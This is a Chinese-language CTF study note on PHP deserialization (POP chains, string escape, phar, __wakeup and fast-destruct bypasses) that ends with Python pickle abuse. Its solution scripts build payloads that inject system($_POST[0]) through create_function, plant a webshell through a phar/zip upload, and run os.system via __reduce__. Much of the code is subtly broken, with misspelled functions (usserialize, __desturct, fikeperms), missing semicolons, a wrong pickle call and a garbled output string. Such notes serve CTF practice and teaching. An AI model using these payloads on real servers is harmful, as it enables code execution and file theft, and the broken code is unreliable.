05-WEB-PHP反序列化
05-WEB-PHP反序列化
serialize(对象)将对象转化为字符串 -> 序列化
unserialize(字符串)将字符串转化为对象 -> 反序列化
反序列化漏洞又称对象注入,修改字符串后反序列化后,数据受到了污染而导致的
执行unserialize函数->调用某一列并执行魔术方法->执行类中函数,产生安全问题
怎么利用反序列化
1.把题目代码复制到本地
2.注释掉方法和一些没用的东西
3.本地对属性赋值,构造序列化,输出
构造序列化:
echo urlencode(serialize(new XXX()));
属性赋值:
function __construct(){...}
SESSION反序列化
PHP在session存储和读取时,都会有一个序列化和反序列化的过程。造成的原因为session序列化引擎使用的不当导致的
php_binary ascii(键名长度)+键名+serialize()函数反序列处理的值
php 键名+竖线+serialize()函数反序列处理的值
php_serialize serialize()函数反序列处理的值
POP链
利用魔术方法在对象里面多次跳转然后获取敏感数据的一种payload
魔术方法:
 这些函数在某些情况下会自动调用,
__construct		当一个对象被创建时调用
__destruct		当一个对象销毁时被调用
__wakeup		当使用unserialize时触发
__toString		当一个对象被当做字符串使用时调用
__sleep()		使用serialize时触发
__destruct()	对象被销毁时触发
__call()		在对象上下文中调用不可访问的方法时触发
__callStatic() 	在静态上下文中调用不可访问的方法时触发
__get()			用于从不可访问的属性读取数据
__set()			用于将数据写入不可访问的属性
__isset()		在不可访问的属性上调用isset()或empty()触发
__unset()		在不可访问的属性上使用unset()时触发
__toString()	把类当作字符串使用时触发
__invoke()		当脚本尝试将对象调用为函数时触发
反序列化时会触发 __wakeup() , 当反序列化后脚本结束会触发__destruct()
#例题
<?php
error_reporting(0);
highlight_file(__FILE__);
$pwd=getcwd();
class func{
    public $mod1;
    public $mod2;
    public $key;
    public function __destruct(){
        unserialize($this->key)();
        $this->mod2="welcome".$this->mod1;
    }
}
class GetFlag{
    public $code;
    public $action;
    public function get_flag(){
        $a=$this->action;
        $a('',$this->code);
	}
}
usserialize($_GET[0]);
?>
#题解
<?php
error_reporting(0);
$pwd=getcwd();
class func{
    public $mod1;
    public $mod2;
    public $key;
}
class GetFlag{
    public $code = "return(0);}system($_POST[0]);//";
    public $action = "create_function";
}
$a=new GetFlag
$arr=[$a,'get_flag']
$b=new func;
$b->key=serialize($arr);
echo urlencode(serialize($b))
#当一个数组被当做函数触发时,数组的第一个值是对象,第二个值是方法的名字(字符串),那么就会调用该对象下的该方法
字符逃逸
对序列化字符串进行不等长字符串替换,导致本来不属于字符串的一部分变成了序列化的一部分或字符串的一部分,进而造成了序列化数据的错乱,导致了对象注入
#例题
<?
show_source("index.php");
function write($data){
    return str_replace(chr(0).'*'.chr(0),'\0\0\0',$data);
}
function read($data){
    return str_replace('\0\0\0',chr(0).'*'.chr(0),$data);
}
class A{
    public $username;
    public $password;
    function __construct($a,$b){
        $this->username=$a;
        $this->password=$b;
    }
}
class B{
	public $b='world';
    function __desturct(){
        $c='hello'.$this->b;
        echo $c;
    }
}
class C{
    public $c;
    function __toString(){
        //flag.php
        echo file_get_contents($this->c);
        return 'nice';
    }
}
$a=new A($_GET['a'],$_GET['b']);
$b=unserialize(read(write(serialize($a))));
?>
#题解
利用read函数减字符来实现字符逃逸
$a=new A("us","pd");
$c=new C;
$c->c="flag.php";
$b=new B;
$b->b=$c;
echo serialize($a);
echo serialize($b);
运行得到结果:
a的序列化:
O:1:"A":2:{s:8:"username";s:2:"us";s:8:"password";s:2:"pd";}
b的序列化:
O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}
把b嵌入到a后的序列化:
O:1:"A":2:{s:8:"username";s:2:"us";s:8:"password";
s:84:";s:8:"password";
O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}
;s:0:"";s:0:"";}
进一步转化为:
O:1:"A":2:{s:8:"username";s:50:"us\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";
s:86:"x";s:8:"password";
O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}
;s:0:"";s:0:"";}
进而a赋值为:
?a=us\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
b赋值为:
&b=x";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}};s:0:"";s:0:"
unserialize反序列化,将所有符合反序列化的字符串都进行反序列化
Phar反序列化
在上传包含中的利用
可以上传图片,不可以上传php
可以包含,但只能include('$xxx.php')
压缩一个shell.php到1.zip,重命名为1.png,长传
包含:zip://upload.png#shell phar://upload.png /shell
phar反序列化的条件
1.需要有可用的类,类下有魔术方法,最后php chain调用到危险方法
2.需要文件操作函数去触发phar://stream
3.有上传或者写文件的操作,可以把无损phar文件写入web服务器,后缀名任意
构造phar反序列化
1.把class定义的代码抄下来,把方法注释
2.构造pop链
3.贴phar八股文
$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$phar->setMetadata($o);//将自定义meta-data存入manifest
$phar->addFromString("test.txt","test");//添加要压缩的文件
$phar->stopBuffering();
#受影响的函数列表
fileatime	filectime	file_exists	file_get_contents
file_put_contents	file filegroup	fopen
fileinode	filemtime	fileowner fikeperms
is_dir	is_executable	is_file	if_link
if_readable	is_writable	is_writeable	parse_ini_file
copy	unlink	stat	readfile
绕过序列化中的关键字
1.hex
s:1"A"和s:1"\61"是一样的意思,当表示字符串的s为大写时,\hex标识对应字符,所以绕过flag过滤:S:4:"\66\6c\61\67" \0->\00
2.绕过\0字符 php7.1+
虽然类中定义的属性可能不是public,但是我们可以假装他是public,然后生成public类型的序列化字符串。
畸形序列化字符串
绕过__wakeup()
老版本,反序列化时,修改对象属性值为属性值+n,那么__wakeup方法不再调用
fast destruct
类需要利用析构方法进行某种操作(帮助拿flag),但是在析构之前会调用一些方法进行过滤或干扰
原理:当php接收到畸形序列化字符串时,php由于其容错机制,依然可以反序列化成功,但由于为畸形序列化字符串,直接进行销毁析构
例题
1
#题目
<?php
    class BUU{
    public $correct = "";
    public $input = "";
    public function __destruct(){
        try{
            $this->correct = base64_encode(uniqid());
            if($this->correct === $this->input){
                echo file_get_contents("/flag");
            }
        }catch(Exception $e){
        }
    }
}
#题解
<?php
    class BUU{
    public $correct = "";
    public $input = "";
}
$a=new BUU;
$a->input=&$a->correct;
echo urlencode(serialize($a));
2
#题目
<?php
class Seri{
    public $alize;
    public function __construct($alize){
        $this->alize->$alize;
    }
    public function __destruct(){
        $this->alize->getFlag();
    }
}
class Flag{
    public $f;
    public $t1;
    public $t2;
    function __construct($file){
        $this->f=$file;
        $this->t1=$this->t2=md5(rand(1,10000));
    }
    public function getFlag(){
        $this->t2=md5(rand(1,10000));
        if($this->t1===$this->t2){
            if(isset($this->f)){
                echo @highlight_file($this->f,TRUE);
            }
        }
    }
}
$p=$_GET['p'];
if(isset($p)){
    $p=unserialize($p);
}else{
    show_source(__FILE__);
}
#题解
<?php
class Seri{
    public $alize;
    public function __construct(){
        $this->alize=new Flag;
        $this->alize->t1=&$this->alize->t2;
    }
}
class Flag{
    public $f;
    public $t1;
    public $t2;
    function __construct($file){
        $this->f='flag.php';
    }
}
$a=new Seri;
echo urlencode(serialize($a)); 
3
#题目
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler{
    protected $op;
    protected $filename;
    protected $content;
    function __construct(){
        $op="1";
        $filename="/tmp/tmpfile";
        $content="hello world";
        $this->process();
    }
    public function process(){
        if($this->op=="1"){
            $this->write();
        }else if($this->op=="2"){
            $res=$this->read();
            $this->output($res);
        }else{
			$this->output("...");
        }
    }
    private function write(){}
    private function read(){
        $res="";
        if(isset($this->filename)){
            $res=file_get_contents($this->filename);
        }
        return $res;
    }
    private function output($s){
        echo "[Result]:<br>";
        echo $s;
    }
    function __destruct(){
        if($this->op==="2")
            $this->op="1";
        $this->content="";
        $this->process();
    }
}
function is_valid($s){
    for($i=0;$i<strlen($s);$i++)
        if(!(ord($s[$i])>=32&&(ord($s[$i])<=125)))
           return false;
    return true;
}
if(isset($_GET{'str'})){
    $str=(string)$_GET{'str'};
    if(is_valid($str)){
        $obj=unserialize($str);
    }
}
#题解
#大写 S 的十六进制转义必须严格满足 \xy 格式(两位十六进制),不足时补零。这是 PHP 序列化格式的底层约束。
# FileHandler类属性为protected,序列化中存在chr(0),因此需要绕过
#析构函数在脚本关闭时调用,脚本关闭时的工作目录可能和在ASPI中时不一样。解决方法:使用绝对路径、快速析构(删掉一些没用的符号)
<?php
class FileHandler{
    protected $op=2;
    protected $filename='flag.php';
    protected $content;
} 
$a=new FileHandler;
$str=serialize($a);
function decorate($s){
    $arr=explode(':',$s);
    for($i=0;$i<count($arr);$i++){
        if(strpos($arr[$i],"\0")==true){
            $arr[$i-2]=str_replace('s','S',$arr[$i-2]);
            $arr[$i]=str_replace("\0",'\00',$arr[$i]);
        }
    }
    return join(':',$arr);
}
echo(decorate($str));
#结果
O:11:"FileHandler":3:{s:{S:"\00*\00op";N;s:"\00*\00op";N;S:"\00*\00filename";N;s:"\00*\00filename";N;S:"\00*\00content";N;}
4
#题目
#4.php
<?php
error_reporting(E_ALL);
$sandbox ='/var/www/html/uploads/'.md5($_SERVER['REMOTE_ADDR']);
if(!is_dir($sandbox)){
    mkdir($sandbox);
}
include_once('template.php');
$template=array('tp1'=>'tp1.tp1','tp2'=>'tp2.tp1','tp3'=>'tp3.pt1');
if(isset($_GET['var']) && is_array($_GET['var'])){
    extract($_GET['var'],EXTR_OVERWRITE);
}else{
    highlight_file(__file__);
    die();
}
if(isset($_GET['tp'])){
    $tp=$_GET['tp'];
    if(array_key_exists($tp,$template)===FALSE){
        echo "...";
        die();
    }
    $content = file_get_contents($template[$tp]);
    $temp=new Template($content);
}else{
    echo "1234";
}
?>
#template.php
<?php
class Template{
    public $content;
    public $pattern;
    public $suffix;
    public function __construct($content){
        $this->content=$content;
        $this->pattern ="/{{([a-z]+)}}/";
        $this->suffix=".html";
    }
    public function __destruct(){
        $this->render();
    }
    public function render(){
        while(True){
            if(preg_match($this->pattern,$this->content,$matches)!=1){
                break;
            }
            global ${$matches[1]};
            if(isset(${$matches[1]})){
                $this->content=preg_replace($this->pattern,${$matches[1]},$this->content);
            }else{
                break;
            }
        }
        if(strlen($this->suffix)>5){
            echo "error suffix";
            die();
        }
        $filename='/var/www/html/uploads/'.md5($_SERVER['REMOTE_ADDR'])."/".md5($this->content).$this->suffix;
        file_put_contents($filename,$this->content);
        echo "Your html file is in".$filename;
    }
}
?>
#题解
#整体思路:获取template.php文件 => 构造phar文件并上传到服务器 => 使用phar://触发phar文件进行反序列化
#    		=> 成功上传webshell
#在URL本身中传递参数值时,通常不需要、也不应该手动添加引号
#extract可以将数组的键和值改为变量名和变量值
#?var[template][tp1]=template.php&tp=tp1,提交拿到template.php文件
#构造phar文件。file_get_contents函数可以触发data协议,由于有   很多特殊字符,所以使用base64进行编码
Pickle&YAML
pickle模块只能在python中使用,python所有的数据类型都能用pickle来序列化。序列化后的数据可读性差
pickle.dump(obj,file,[protocol])
#序列化对象,将结果数据流写入到文件对象中。protocol是序列化模式,默认值为0表示已文本序列化,1或2表示以二进制形式序列化
pickle.load(file)
#反序列化对象,解析为一个python对象,load(file)要让python找到类的定义
利用:重写__reduce__方法
例如:
import pickle
import os
class A:
	def __init__(self):
		self.name='asd'
	def __reduce__(self):
		return (os.system,('pwd',))
pickle.loads(pickle.dump(A()))
一般步骤
1.找pickle反序列化位点
2.本地重写reduce方法,生成序列化字符串
3.触发反序列化
python反序列化不依赖与类,php反序列化需要依赖类
__reduce__()函数类似于php中的__weakup()函数
 
                    
                     
                    
                 
                    
                 
                
            
         
         浙公网安备 33010602011771号
浙公网安备 33010602011771号